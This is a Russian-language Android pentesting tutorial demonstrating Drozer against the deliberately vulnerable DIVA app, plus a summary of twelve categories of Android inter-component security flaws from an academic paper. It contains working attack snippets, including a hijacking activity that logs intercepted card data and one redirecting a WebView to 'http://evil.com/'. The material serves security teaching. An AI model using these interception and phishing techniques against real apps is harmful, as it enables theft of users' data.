Drozer — мастхев в арсенале любого пентестера. Это армейский швейцарский нож для выполнения типичных задач тестирования на проникновение. Drozer позволяет получить информацию о приложении, запустить его активности, подключиться к ContentProvider’у, отправить сообщения сервису, в общем — все, чтобы вытащить из приложения информацию или заставить его сделать то, что нам нужно, через стандартные API и каналы коммуникации.
Еще по теме: Внедрение кода в чужое приложение с помощью Frida
Сегодня Drozer считается устаревшим инструментом, но он до сих пор отлично помогает быстро получить информацию о приложении и его слабых местах. Рекомендуемый способ запускать drozer — используя Docker:
1 |
$ sudo docker run -it kengannonmwr/drozer_docker |
Drozer работает в связке с агентом, работающим на устройстве или эмуляторе, скачать его можно здесь. Его следует установить на устройство:
1 |
$ <wbr />adb <wbr />install <wbr />drozer-agent-2.<wbr />3.<wbr />4.<wbr />apk |
Далее запускаем агент и нажимаем кнопку Embedded Server внизу экрана. После этого к серверу можно подключиться, перейдя в консоль Drozer:
1 |
$ <wbr />drozer <wbr />console <wbr />connect <wbr />--server <wbr />IP-адрес-телефона |
В качестве подопытного приложения будем использовать DIVA (Damn Insecure and Vulnerable App). APK не имеет цифровой подписи, поэтому перед установкой его необходимо подписать, например c помощью uber-apk-signer.
Активности
Типичный воркфлоу Drozer выглядит так. Сначала получаем информацию об установленных приложениях:
1 |
dz> run app.package.list |
Находим в списке подопытное приложение и получаем информацию о нем:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
dz> run app.package.info -a jakhar.aseem.diva Package: jakhar.aseem.diva Application Label: Diva Process Name: jakhar.aseem.diva Version: 1.0 Data Directory: /data/user/0/jakhar.aseem.diva APK Path: /data/app/~~f-ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva-GXTPCSZPceqRHtEWH73f1g==/base.apk UID: 10423 GID: [3003] Shared Libraries: [/system/framework/android.test.base.jar, /system/framework/org.apache.http.legacy.jar] Shared User ID: null Uses Permissions: - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.READ_EXTERNAL_STORAGE - android.permission.INTERNET - android.permission.ACCESS_MEDIA_LOCATION Defines Permissions: - None |
Затем выясняем, какие компоненты можно попытаться использовать для эксплуатации:
1 2 3 4 5 6 7 8 |
dz> run app.package.attacksurface jakhar.aseem.diva Attack Surface: 3 activities exported 0 broadcast receivers exported 1 content providers exported 0 services exported is debuggable |
Обращаем внимание, что в приложении включен флаг отладки. Далее получаем список активностей:
1 2 3 4 5 6 7 8 9 |
dz> run app.activity.info -a jakhar.aseem.diva Package: jakhar.aseem.diva jakhar.aseem.diva.MainActivity Permission: null jakhar.aseem.diva.APICredsActivity Permission: null jakhar.aseem.diva.APICreds2Activity Permission: null |
Пробуем их запустить:
1 |
dz> run app.activity.start --component jakhar.aseem.diva <имя_активности> |
Смысл этого действия в том, чтобы проверить, не торчат ли наружу внутренние активности приложения, которые не должны быть доступны извне. Возможно, эти активности содержат конфиденциальную информацию.
Проверяем:
1 |
dz> run app.activity.start --component jakhar.aseem.diva jakhar.aseem.diva.APICredsActivity |
Действительно, активность APICredsActivity содержит некий ключ API, имя пользователя и пароль. Активность APICreds2Activity содержит окно с полем для ввода ПИН‑кода.
Обе эти активности явно должны использоваться только внутри приложения, но по «невнимательности» разработчик забыл сделать их неэкспортируемыми (android:exported=»false»).
Если активности не запускаются
Начиная с Android 9 запуск активностей в фоне запрещен. Поэтому, чтобы Drozer работал корректно, следите за тем, чтобы он всегда был на экране, а экран смартфона — включен.
Перехват интентов
Еще интереснее, когда программист не только забывает сделать внутреннюю активность приложения неэкспортируемой, но и работает с ней не напрямую, а используя широковещательные интенты. Допустим, в приложении есть такой код, который использует широковещательный интент «com.example.ACTION», чтобы запустить активность (передав ей при этом конфиденциальные данные):
1 2 3 4 |
Intent intent = new Intent("com.example.ACTION"); intent.putExtra("credit_card_number", num.getText().toString()); intent.putExtra("holder_name", name.getText().toString()); startActivity(intent); |
Проблема этого кода в том, что любой желающий может создать активность, реагирующую на интент «com.example.ACTION», и перехватить переданные ей данные. Например, мы можем написать приложение с такой активностью в манифесте:
1 2 3 4 5 6 |
<activity android:name=".EvilActivity"> <intent-filter android:priority="999"> <action android:name="com.example.ACTION" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity> |
В код этой активности добавим логирование перехваченных конфиденциальных данных:
1 2 |
Log.d("evil", "Number: " + getIntent().getStringExtra("credit_card_number")); Log.d("evil", "Holder: " + getIntent().getStringExtra("holder_name")); |
Вуаля! Но с помощью Drozer проделать такой трюк еще проще:
1 |
dz> run app.broadcast.sniff --action com.example.ACTION |
Вообще, интенты — стандартный способ коммуникации в Android как внутри приложения, так и за его пределами. Их можно использовать, чтобы передавать информацию между активностями, сервисами и любыми другими компонентами приложения.
Интенты могут быть адресованы конкретному компоненту или быть широковещательными. Перехватить последние может любое другое приложение, как в примере выше.
Перехват возвращаемого значения
В Android активности могут возвращать значения. Эта возможность используется, например, в интерфейсе выбора фотографии для отправки другу или в интерфейсе выбора файла. Приложение может запустить свою активность или активность любого другого приложения (с помощью широковещательного интента), чтобы получить от нее какое‑либо значение. И если приложение использует широковещательный интент для запуска собственной активности — будут проблемы.
Возьмем, к примеру, следующий код:
1 2 3 4 5 6 7 |
startActivityForResult(new Intent("com.example.PICK"), 1337); protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if(requestCode == 1337 && resultCode == 1) { webView.loadUrl(data.getStringExtra("url"), getAuthHeaders()); } } |
Это код запуска активности с помощью интента com.<wbr />example.<wbr />PICK. Значение, возвращенное этой активностью, используется как URL, чтобы открыть веб‑страницу внутри WebView. Очевидно, что в данном примере интент com.<wbr />example.<wbr />PICK применяется для запуска собственной активности приложения, однако, как и в предыдущем примере, разработчик использовал для запуска широковещательный интент. Поэтому мы можем создать собственную активность и перенаправлять приложение на фишинговый веб‑сайт:
1 2 3 4 5 6 7 8 9 10 11 12 |
<activity android:name=".EvilActivity"> <intent-filter android:priority="999"> <action android:name="com.victim.PICK" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity> protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setResult(1, new Intent().putExtra("url", "http://evil.com/")); finish(); } |
Широковещательные интенты также используются приложениями для выбора файлов. В этом случае с помощью фишинговой активности можно выполнять атаку типа directory traversal.
ContentProvider
ContentProvider — это специальный компонент приложения, ответственный за хранение данных и предоставление доступа к этим данным другим приложениям. В старые времена (до Android 4.0) разработчики часто делали ContentProvider’ы открытыми для доступа любым приложениям. Например, официальное приложение Gmail имело открытый ContentProvider, предоставляющий доступ к списку писем. Это позволяло любому стороннему приложению получить список последних писем Gmail, напрямую прочитав данные из официального приложения.
Сегодня такой подход считается наивным и небезопасным. Поэтому все, что на сегодняшний день предоставляет наружу приложение Gmail, — это общее количество непрочитанных писем, и даже эта информация защищена специальным разрешением. В этом легко убедиться, если попытаться прочитать данные по URI content://<wbr />com.<wbr />google.<wbr />android.<wbr />gmail.<wbr />provider:
1 2 3 |
dz> run app.provider.query content://com.google.android.gmail.provider/ Permission Denial: opening provider com.android.email.provider.EmailProvider from ProcessRecord{5ae20cc 15638:com.mwr.dz:remote/u0a422} (pid=15638, uid=10422) requires com.google.android.gm.email.permission.ACCESS_PROVIDER or com.google.android.gm.email.permission.ACCESS_PROVIDER |
Но в других приложениях все может быть иначе. Вернемся к приложению DIVA и попробуем получить информацию о его ContentProvider’ах:
1 2 3 4 5 6 7 8 9 |
dz> run app.provider.info -a jakhar.aseem.diva Package: jakhar.aseem.diva Authority: jakhar.aseem.diva.provider.notesprovider Read Permission: null Write Permission: null Content Provider: jakhar.aseem.diva.NotesProvider Multiprocess Allowed: False Grant Uri Permissions: False |
Видно, что приложение имеет один никак не защищенный ContentProvider. Получим информацию об экспортируемых ContentProvider’ом URI:
1 2 3 4 5 6 7 8 9 10 11 |
dz> run scanner.provider.finduris -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes/ Unable to Query content://jakhar.aseem.diva.provider.notesprovider Unable to Query content://jakhar.aseem.diva.provider.notesprovider/ Able to Query content://jakhar.aseem.diva.provider.notesprovider/notes Accessible content URIs: content://jakhar.aseem.diva.provider.notesprovider/notes/ content://jakhar.aseem.diva.provider.notesprovider/notes |
Попробуем прочитать информацию по приведенным URI:
1 2 3 4 5 6 7 8 9 |
dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ | _id | title | note | | 5 | Exercise | Alternate days running | | 4 | Expense | Spent too much on home theater | | 6 | Weekend | b333333333333r | | 3 | holiday | Either Goa or Amsterdam | | 2 | home | Buy toys for baby, Order dinner | | 1 | office | 10 Meetings. 5 Calls. Lunch with CEO | |
ContentProvider, по сути, открывает прямой доступ к базе данных приложения. Поэтому, если он открыт для чтения и записи, мы легко можем добавить в него собственные данные:
1 2 3 4 5 6 7 8 9 10 |
dz> run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes --integer _id 7 --string title spy-soft.net --string note 'Hi from spy' dz> run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ ... | 7 | spy-soft.net | Hi from spy |
В ряде случаев возможно выполнить SQL-инъекцию. Drozer способен автоматически проверить приложение на эту уязвимость:
1 |
dz> run scanner.provider.injection -a com.example.app |
Некоторые приложения используют ContentProvider’ы, чтобы открывать доступ к файлам своего приватного каталога. В этом случае иногда возможно выполнить атаку directory traversal. Drozer позволяет проверить и этот вариант:
1 |
dz> run scanner.provider.traversal -a com.example.app |
Сервисы
Еще один тип компонентов приложения в Android — сервисы. Чаще всего они используются для выполнения работы в фоне и в современных версиях Android обязаны иметь иконку в строке состояния (иначе система убьет сервис через пять минут). У приложения DIVA нет сервисов, это легко проверить с помощью такой команды:
1 2 3 4 |
dz> run app.service.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No exported services. |
Но даже приложения с торчащим наружу сервисом эксплуатировать не так просто. Обычно сначала необходимо дизассемблировать/декомпилировать приложение, проанализировать код сервиса, а затем попробовать послать ему сообщение, которое он поймет и обработает.
Например, типичный пример отправки сообщения сервису может выглядеть так:
1 |
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj |
Другие возможности
Кратко пройдемся по другим возможностям Drozer.
Отображение манифеста приложения:
1 |
dz> run app.package.manifest com.mwr.example.sieve |
Поиск приложений, обладающих указанными полномочиями:
1 |
dz> run app.package.list -p android.permission.INSTALL_PACKAGES |
Поиск приложений с указанным UID:
1 |
dz> run app.package.list -u 1000 |
Поиск приложений, способных отображать файлы с указанным mimetype:
1 |
dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf |
Поиск всех приложений, способных открывать ссылки:
1 |
dz> run scanner.activity.browsable |
Отображение списка нативных библиотек приложения:
1 |
dz> run app.package.native jakhar.aseem.diva |
Отправка широковещательных интентов:
1 |
dz> run app.broadcast.send --action com.exmpla.PICK --extra string url https://example.com |
Бонус
Какие еще проблемы и уязвимости можно найти в приложениях? Их множество, авторы работы Security Code Smells in Android ICC составили подробный список таких проблем. Они взяли 700 открытых приложений из репозитория F-Droid и проанализировали их с помощью специального инструмента AndroidLintSecurityChecks.
Все проблемы скомпонованы в двенадцать категорий:
SM01: Persisted Dynamic Permission. В Android есть механизм, позволяющий предоставить другому приложению временный доступ к какому‑либо URI своего ContentProvider’а. Это делается с помощью метода Context.<wbr />grantUriPermission(<wbr />). Если приложение вызывает его, но не вызывает Context.<wbr />revokeUriPermission(<wbr />), чтобы отозвать доступ, — есть проблемы.
SM02: Custom Scheme Channel. Любое приложение может зарегистрировать собственную URI-схему, такую как myapp:/<wbr />/, вне зависимости от того, использует ли такую схему другое приложение. Как следствие, пересылать важные данные, используя кастомные URI-схемы, крайне небезопасно.
SM03: Incorrect Protection Level. В Android любое приложение может создать свое собственное разрешение для доступа к своим данным. Но есть проблема: если указать неправильный уровень защиты разрешения (protection level), оно может не сработать. Если разработчик хочет, чтобы пользователь видел диалог запроса разрешений, он должен использовать уровень защиты dangerous или siganture, если данное разрешение должно получать только приложение с той же цифровой подписью.
SM04: Unauthorized Intent. Любое приложение в Android может зарегистрировать себя в качестве обработчика определенных типов интентов (intent). По умолчанию этот обработчик будет открыт всему миру, но его можно защитить с помощью системы разрешений и строгой валидации входных данных.
SM05: Sticky Broadcast. Любое приложение может послать другому приложению интент. Более того, оно может послать широковещательный интент сразу всем приложениям, и он будет обработан первым приложением, способным его принять. Но есть также возможность послать широковещательный sticky-intent, который после обработки одним приложением все равно будет доставлен другим приложениям. Чтобы этого не происходило, не стоит использовать такие интенты, а широковещательные интенты лучше не использовать вообще.
SM06: Slack WebViewClient. Компонент WebView позволяет приложениям показывать веб‑страницы внутри своего интерфейса. По умолчанию он никак не фильтрует открываемые URL, чем можно воспользоваться, например, для фишинга. Разработчикам стоит либо использовать белый список адресов, либо выполнять проверку с помощью SafetyNet API.
SM07: Broken Service Permission. Приложения могут предоставлять доступ к своей функциональности с помощью сервисов. Злоумышленник может использовать эту возможность для запуска кода с повышенными полномочиями (полномочиями сервиса). Чтобы этого избежать, сервис должен проверять полномочия вызывающего приложения с помощью метода Context.<wbr />checkCallingPermission(<wbr />).
SM08: Insecure Path Permission. Некоторые приложения предоставляют доступ к своим данным с помощью ContentProvider’а, который адресует данные, используя UNIX-подобные пути: /<wbr />a/<wbr />b/<wbr />c. Программист может открыть доступ к своему ContentProvider’у, но отрезать доступ к некоторым путям (например, к /<wbr />data/<wbr />secret). Но есть проблема: разработчики часто используют класс UriMatcher для сравнения путей, а он, в отличие от Android, сравнивает их без учета двойных слешей. Отсюда могут возникнуть ошибки при разрешении и запрете доступа.
SM09: Broken Path Permission Precedence. Сходная с предыдущей проблема. При описании ContentProvider’а в манифесте разработчик может указать, какие разрешения нужны приложению для доступа к определенным путям. Но в Android есть баг, из‑за чего он отдает предпочтение более глобальным путям. Например, если приложение дает доступ к /<wbr />data всем подряд, но использует специальное разрешение для доступа к /<wbr />data/<wbr />secret, то в итоге доступ к /<wbr />data/<wbr />secret смогут получить все.
SM10: Unprotected BroadcastReceiver. Фактически аналог проблемы SM04, но распространяющийся исключительно на BroadcastReceiver’ы (специальные обработчики интентов).
SM11: Implicit PendingIntent. Кроме интентов, в Android есть сущность под названием PendingIntent. Это своего рода отложенные интенты, которые могут быть отправлены позже и даже другим приложением от имени создавшего интент приложения. Если PendingIntent широковещательный, то любое приложение сможет перехватить его и послать интент от имени этого приложения.
SM12: Common Task Affinity. Аналог проблемы StrandHogg.
В работе также приводится множество аналитических данных. Например, согласно статистике, в новых приложениях меньше дыр, чем в старых. Больше дыр также в приложениях, которые разрабатывают более пяти человек. Ну и конечно же: большее количество кода означает большее количество уязвимостей.
Примеры ошибок также можно найти в репозитории android-app-vulnerability-benchmarks. Он содержит исходники приложений с различными уязвимостями, каждое из которых снабжено подробным описанием уязвимости и исправленной версией.
Выводы
Как видите, несмотря на почтенный возраст, Drozer до сих пор справляется со своей работой лучше многих других инструментов для пентеста Android. Его явное достоинство — текстовый интерфейс, позволяющий с помощью команд выполнить многие задачи, для которых в противном случае пришлось бы писать собственный софт. Недостаток в том же — не все способны переварить такой интерфейс в 2021 году.
Еще по теме: Защита приложения от отладки